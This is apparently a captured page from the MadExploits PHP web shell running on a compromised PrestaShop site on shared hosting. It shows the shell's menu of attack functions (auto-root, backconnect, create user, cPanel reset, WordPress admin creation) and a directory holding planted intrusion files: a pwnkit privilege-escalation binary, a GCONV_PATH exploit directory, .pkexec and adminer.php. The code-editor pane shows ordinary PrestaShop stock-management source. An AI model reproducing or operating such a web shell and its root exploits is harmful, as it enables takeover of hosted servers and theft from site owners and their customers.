Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
src /
Adapter /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Addons
[ DIR ]
drwx---r-x
Address
[ DIR ]
drwx---r-x
Admin
[ DIR ]
drwx---r-x
Assets
[ DIR ]
drwx---r-x
Attachment
[ DIR ]
drwx---r-x
Attribute
[ DIR ]
drwx---r-x
AttributeGroup
[ DIR ]
drwx---r-x
Backup
[ DIR ]
drwx---r-x
BestSales
[ DIR ]
drwx---r-x
CMS
[ DIR ]
drwx---r-x
Cache
[ DIR ]
drwx---r-x
Carrier
[ DIR ]
drwx---r-x
Cart
[ DIR ]
drwx---r-x
CartRule
[ DIR ]
drwx---r-x
CatalogPriceRule
[ DIR ]
drwx---r-x
Category
[ DIR ]
drwx---r-x
Configuration
[ DIR ]
drwx---r-x
Contact
[ DIR ]
drwx---r-x
Container
[ DIR ]
drwx---r-x
Converter
[ DIR ]
drwx---r-x
Country
[ DIR ]
drwx---r-x
CreditSlip
[ DIR ]
drwx---r-x
Currency
[ DIR ]
drwx---r-x
Customer
[ DIR ]
drwx---r-x
CustomerService
[ DIR ]
drwx---r-x
Debug
[ DIR ]
drwx---r-x
Domain
[ DIR ]
drwx---r-x
Email
[ DIR ]
drwx---r-x
Employee
[ DIR ]
drwx---r-x
Feature
[ DIR ]
drwx---r-x
File
[ DIR ]
drwx---r-x
Form
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Geolocation
[ DIR ]
drwx---r-x
Grid
[ DIR ]
drwx---r-x
Group
[ DIR ]
drwx---r-x
Hook
[ DIR ]
drwx---r-x
Hosting
[ DIR ]
drwx---r-x
Image
[ DIR ]
drwx---r-x
Import
[ DIR ]
drwx---r-x
Invoice
[ DIR ]
drwx---r-x
Kpi
[ DIR ]
drwx---r-x
Language
[ DIR ]
drwx---r-x
Localization
[ DIR ]
drwx---r-x
Mail
[ DIR ]
drwx---r-x
MailTemplate
[ DIR ]
drwx---r-x
Manufacturer
[ DIR ]
drwx---r-x
Media
[ DIR ]
drwx---r-x
Meta
[ DIR ]
drwx---r-x
Module
[ DIR ]
drwx---r-x
NewProducts
[ DIR ]
drwx---r-x
News
[ DIR ]
drwx---r-x
Notification
[ DIR ]
drwx---r-x
Number
[ DIR ]
drwx---r-x
OptionalFeatures
[ DIR ]
drwx---r-x
Order
[ DIR ]
drwx---r-x
OrderMessage
[ DIR ]
drwx---r-x
OrderState
[ DIR ]
drwx---r-x
PDF
[ DIR ]
drwx---r-x
Pack
[ DIR ]
drwx---r-x
Preferences
[ DIR ]
drwx---r-x
Presenter
[ DIR ]
drwx---r-x
PricesDrop
[ DIR ]
drwx---r-x
Product
[ DIR ]
drwx---r-x
Profile
[ DIR ]
drwx---r-x
Requirement
[ DIR ]
drwx---r-x
Routes
[ DIR ]
drwx---r-x
Routing
[ DIR ]
drwx---r-x
Search
[ DIR ]
drwx---r-x
Security
[ DIR ]
drwx---r-x
Shop
[ DIR ]
drwx---r-x
Smarty
[ DIR ]
drwx---r-x
SpecificPrice
[ DIR ]
drwx---r-x
SqlManager
[ DIR ]
drwx---r-x
Supplier
[ DIR ]
drwx---r-x
Support
[ DIR ]
drwx---r-x
System
[ DIR ]
drwx---r-x
Tab
[ DIR ]
drwx---r-x
Tax
[ DIR ]
drwx---r-x
TaxRulesGroup
[ DIR ]
drwx---r-x
Theme
[ DIR ]
drwx---r-x
Translations
[ DIR ]
drwx---r-x
Twig
[ DIR ]
drwx---r-x
Upload
[ DIR ]
drwx---r-x
Warehouse
[ DIR ]
drwx---r-x
Webservice
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
AddressFactory.php
1.88
KB
-rw----r--
CacheManager.php
1.41
KB
-rw----r--
ClassLang.php
1.66
KB
-rw----r--
CombinationDataProvider.php
8.26
KB
-rw----r--
Configuration.php
9
KB
-rw----r--
ContainerBuilder.php
7.92
KB
-rw----r--
ContainerFinder.php
2.34
KB
-rw----r--
ContextStateManager.php
9.07
KB
-rw----r--
CoreException.php
1.2
KB
-rw----r--
Database.php
2.63
KB
-rw----r--
EntityMapper.php
4.83
KB
-rw----r--
EntityMetaDataRetriever.php
1.99
KB
-rw----r--
Environment.php
2.6
KB
-rw----r--
GeneralConfiguration.php
2.94
KB
-rw----r--
HookManager.php
3.15
KB
-rw----r--
ImageManager.php
4.09
KB
-rw----r--
LegacyContext.php
10.2
KB
-rw----r--
LegacyHookSubscriber.php
12.85
KB
-rw----r--
LegacyLogger.php
4.74
KB
-rw----r--
ObjectPresenter.php
1.3
KB
-rw----r--
RoundingMapper.php
2.46
KB
-rw----r--
ServiceLocator.php
1.93
KB
-rw----r--
StockManager.php
7.68
KB
-rw----r--
SymfonyContainer.php
1.88
KB
-rw----r--
Tools.php
7.21
KB
-rw----r--
Validate.php
3.2
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StockManager.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter; use Db; use PrestaShop\PrestaShop\Adapter\Configuration as ConfigurationAdapter; use PrestaShop\PrestaShop\Adapter\Shop\Context as ShopAdapter; use PrestaShopBundle\Service\DataProvider\StockInterface; use StockAvailable; /** * Data provider for new Architecture, about Product stocks. * * This class will provide data from DB / ORM about Product stocks. */ class StockManager implements StockInterface { /** * Gets available stock for a given product / combination / shop. * * @param object $product * @param null $id_product_attribute * @param null $id_shop * * @return StockAvailable */ public function getStockAvailableByProduct($product, $id_product_attribute = null, $id_shop = null) { $stockAvailable = $this->newStockAvailable($this->getStockAvailableIdByProductId($product->id, $id_product_attribute, $id_shop)); if (!$stockAvailable->id) { $shopAdapter = new ShopAdapter(); $stockAvailable->id_product = (int) $product->id; $stockAvailable->id_product_attribute = (int) $id_product_attribute; $outOfStock = $this->outOfStock((int) $product->id, $id_shop); $stockAvailable->out_of_stock = (int) $outOfStock; if ($id_shop === null) { $shop_group = $shopAdapter->getContextShopGroup(); } else { $shop_group = $shopAdapter->ShopGroup((int) $shopAdapter->getGroupFromShop((int) $id_shop)); } // if quantities are shared between shops of the group if ($shop_group->share_stock) { $stockAvailable->id_shop = 0; $stockAvailable->id_shop_group = (int) $shop_group->id; } else { $stockAvailable->id_shop = (int) $id_shop; $stockAvailable->id_shop_group = 0; } $stockAvailable->add(); } return $stockAvailable; } /** * Returns True if Stocks are managed by a module (or by legacy ASM). * * @return bool True if Stocks are managed by a module (or by legacy ASM) */ public function isAsmGloballyActivated() { return (bool) (new ConfigurationAdapter())->get('PS_ADVANCED_STOCK_MANAGEMENT'); } /** * @param $shopId * @param $errorState * @param $cancellationState * @param int|null $idProduct * @param int|null $idOrder * * @return bool */ public function updatePhysicalProductQuantity($shopId, $errorState, $cancellationState, $idProduct = null, $idOrder = null) { $this->updateReservedProductQuantity($shopId, $errorState, $cancellationState, $idProduct, $idOrder); $updatePhysicalQuantityQuery = ' UPDATE {table_prefix}stock_available sa SET sa.physical_quantity = sa.quantity + sa.reserved_quantity WHERE sa.id_shop = ' . (int) $shopId . ' '; if ($idProduct) { $updatePhysicalQuantityQuery .= ' AND sa.id_product = ' . (int) $idProduct; } if ($idOrder) { $updatePhysicalQuantityQuery .= ' AND sa.id_product IN (SELECT product_id FROM {table_prefix}order_detail WHERE id_order = ' . (int) $idOrder . ')'; } $updatePhysicalQuantityQuery = str_replace('{table_prefix}', _DB_PREFIX_, $updatePhysicalQuantityQuery); return Db::getInstance()->execute($updatePhysicalQuantityQuery); } /** * @param $shopId * @param $errorState * @param $cancellationState * @param int|null $idProduct * @param int|null $idOrder * * @return bool */ private function updateReservedProductQuantity($shopId, $errorState, $cancellationState, $idProduct = null, $idOrder = null) { $updateReservedQuantityQuery = ' UPDATE {table_prefix}stock_available sa SET sa.reserved_quantity = ( SELECT SUM(od.product_quantity - od.product_quantity_refunded) FROM {table_prefix}orders o INNER JOIN {table_prefix}order_detail od ON od.id_order = o.id_order INNER JOIN {table_prefix}order_state os ON os.id_order_state = o.current_state WHERE o.id_shop = :shop_id AND os.shipped != 1 AND ( o.valid = 1 OR ( os.id_order_state != :error_state AND os.id_order_state != :cancellation_state ) ) AND sa.id_product = od.product_id AND sa.id_product_attribute = od.product_attribute_id GROUP BY od.product_id, od.product_attribute_id ) WHERE sa.id_shop = :shop_id '; $strParams = [ '{table_prefix}' => _DB_PREFIX_, ':shop_id' => (int) $shopId, ':error_state' => (int) $errorState, ':cancellation_state' => (int) $cancellationState, ]; if ($idProduct) { $updateReservedQuantityQuery .= ' AND sa.id_product = :product_id'; $strParams[':product_id'] = (int) $idProduct; } if ($idOrder) { $updateReservedQuantityQuery .= ' AND sa.id_product IN (SELECT product_id FROM {table_prefix}order_detail WHERE id_order = :order_id)'; $strParams[':order_id'] = (int) $idOrder; } $updateReservedQuantityQuery = strtr($updateReservedQuantityQuery, $strParams); return Db::getInstance()->execute($updateReservedQuantityQuery); } /** * Instance a new StockAvailable. * * @param null $stockAvailableId * * @return StockAvailable */ public function newStockAvailable($stockAvailableId = null) { if (is_int($stockAvailableId)) { return new StockAvailable($stockAvailableId); } return new StockAvailable(); } /** * Use legacy getStockAvailableIdByProductId. * * @param $productId * @param null $productAttributeId * @param null $shopId * * @return bool|int */ public function getStockAvailableIdByProductId($productId, $productAttributeId = null, $shopId = null) { return StockAvailable::getStockAvailableIdByProductId($productId, $productAttributeId, $shopId); } /** * For a given product, get its "out of stock" flag. * * @param int $productId * @param int $shopId Optional : gets context if null @see Context::getContext() * * @return bool : depends on stock @see $depends_on_stock */ public function outOfStock($productId, $shopId = null) { return StockAvailable::outOfStock($productId, $shopId); } }
Close